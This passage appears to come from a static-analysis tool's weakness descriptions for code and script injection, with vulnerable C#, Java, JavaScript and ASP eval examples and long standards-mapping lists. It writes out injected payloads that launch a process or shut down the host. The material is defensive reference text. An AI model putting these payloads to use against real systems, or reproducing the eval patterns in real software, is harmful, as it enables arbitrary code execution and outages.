[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_jndi_reference_injection
Abstract
Interpreting user-controlled instructions at runtime can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this code injection example, a request parameter is bound into a razor template which is evaluated.


...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...


The program behaves correctly when the operation parameter is a benign value, such as "John", in which case the result variable is assigned a value of "Hello World! Welcome John!". However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, Razor allows invocation of C# objects; if an attacker were to specify " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }" as the value of name, a system command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.dynamic_code_evaluation_script_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, JavaScript allows invocation of Java objects; if an attacker were to specify " java.lang.Runtime.getRuntime().exec("shutdown -h now")" as the value of operation, a shutdown command would be executed on the host system.
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[36] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[37] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_script_injection
Abstract
Interpreting user-controlled instructions at runtime can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
userOp = form.operation.value;
calcResult = eval(userOp);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the calcResult variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of JavaScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.dynamic_code_evaluation_script_injection
Abstract
Executing arbitrary source instructions from an untrusted source can lead to malicious code execution.
Explanation
Many modern languages allow dynamic interpretation of source instructions. This ability can be used when the programmer needs to perform user supplied instructions on data but would rather utilize the underlying language constructs instead of implementing code to interpret the user input. The user supplied instructions are expected to be innocent operations such as small calculations on active user objects, modification of the state of user objects, etc. However, if a programmer is not careful, a user may specify operations outside of the programmer's intentions.

Example 1: A classic example application that may allow underlying programming constructs to be specified by the user is a calculator. The following ASP code accepts basic mathematical operations from the user to be computed and returned:


...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...


The program's intended behavior holds in an example where the operation parameter is "8 + 7 * 2". The strResult variable returns with a value of 22. However, if a user were to specify other valid language operations, those operations would not only be executed but executed with the full privilege of the parent process. Arbitrary code execution becomes more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify operation as " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
